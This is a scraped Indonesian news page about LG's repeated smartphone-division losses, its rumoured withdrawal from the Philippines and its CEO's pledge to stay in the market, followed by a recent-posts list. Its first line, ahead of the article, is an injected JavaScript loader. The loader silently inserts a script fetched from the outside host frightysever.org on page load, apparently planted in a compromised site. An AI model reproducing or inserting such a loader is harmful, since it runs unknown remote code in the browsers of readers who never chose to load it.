(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Meski Merugi, LG Kukuh Berjuang di Pasar Smartphone


Kabar kerugian yang melanda salah satu vendor smartphone asal Korea Selatan, LG, telah terdengar selama beberapa kuartal terakhir. Namun, kerugian tersebut tak menghalangi LG untuk bertahan di pasar smartphone .

LG diketahui telah mengalami kerugian secara konsisten dalam industri smartphone dalam beberapa tahun. Menurut laporan keuangan terbaru, LG Mobile rupanya telah mengalami kerugian selama 15 kuartal berturut-turut. Kemunduran ini telah memaksa perusahaan untuk keluar dari pasar smartphone China.

Bahkan, pada akhir Januari 2019 terdengar kabar yang menyebutkan bahwa LG akan hengkang dari Filipina. Menurut laporan GSM Arena, kabar penutupan lini bisnis ponsel LG di Filipina berasal dari seorang sumber internal yang tidak ingin disebutkan namanya. Ia mendapatkan informasi tersebut dari salah satu jajaran eksekutif LG.

Sayangnya, pihak LG belum memberikan pernyataan resmi terkait rumor penutupan bisnis ponselnya di Filipina. Namun jika hal itu benar-benar terjadi, maka konsumen di negara tersebut hanya bisa membeli produknya melalui pihak ketiga dengan harga yang cenderung lebih mahal.

Qiao Yujin selaku CEO LG Electronics mengatakan bahwa meskipun divisi seluler LG mengalami kerugian, perusahaannya tidak akan menyerah. Yujin menjelaskan bahwa smartphone akan memainkan peran penting dalam ekosistem IoT LG sehingga perusahaan tetap berkomitmen untuk mempertahankannya.

“Portofolio bisnis LG meliputi mobil dan peralatan rumah tangga, yang keduanya terkait dengan smartphone, jadi kami belum mempertimbangkan untuk keluar dari bisnis smartphone,” ucap Yujin, seperti yang dikutip dari Gizchina.

Yujin menambahkan bahwa LG Mobile berada di tahun kedua restrukturisasi bisnis smartphone. Restrukturisasi tersebut akan terus belanjut hingga tahun depan. Rencana tersebut dikabarkan tidak akan berimbas pada jumlah karyawan, namun LG diketahui memiliki strategi lain.

Kerugian LG sendiri pada tahun 2016 dikabarkan mencapai 1,1 miliar dolar Amerika Serikat, lalu setahun setelahnya perusahaan tersebut juga merugi sebesar 644 juta dolar Amerika Serikat. Sementara itu, pada tahun 2018 LG merugi secara konsisten hingga 440 juta dolar Amerika Serikat. (suara.com)

Reporter: Suara.com
Editor: KK

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

1 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

1 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

4 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

5 jam ago

This website uses cookies.